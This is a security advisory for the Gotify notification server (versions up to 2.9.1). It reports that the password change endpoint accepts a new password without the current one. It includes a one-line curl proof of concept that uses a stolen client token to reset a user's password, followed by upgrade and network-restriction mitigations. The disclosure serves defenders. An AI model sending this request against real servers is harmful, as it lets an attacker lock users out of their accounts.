GHSA-3hcj-9m7p-wwm9 Gotify: Insufficiently Protected Password Change endpoint

• Go github.com/gotify/server/v2: <= 2.9.1 (no fix yet) • Go github.com/gotify/server/v3: < 3.0.0 → fixed in 3.0.0

The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. PoC ```bash Attacker has obtained a client token No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_this"}' Expected response: HTTP/1.1 200 OK ``` Mitigation • Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or • Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.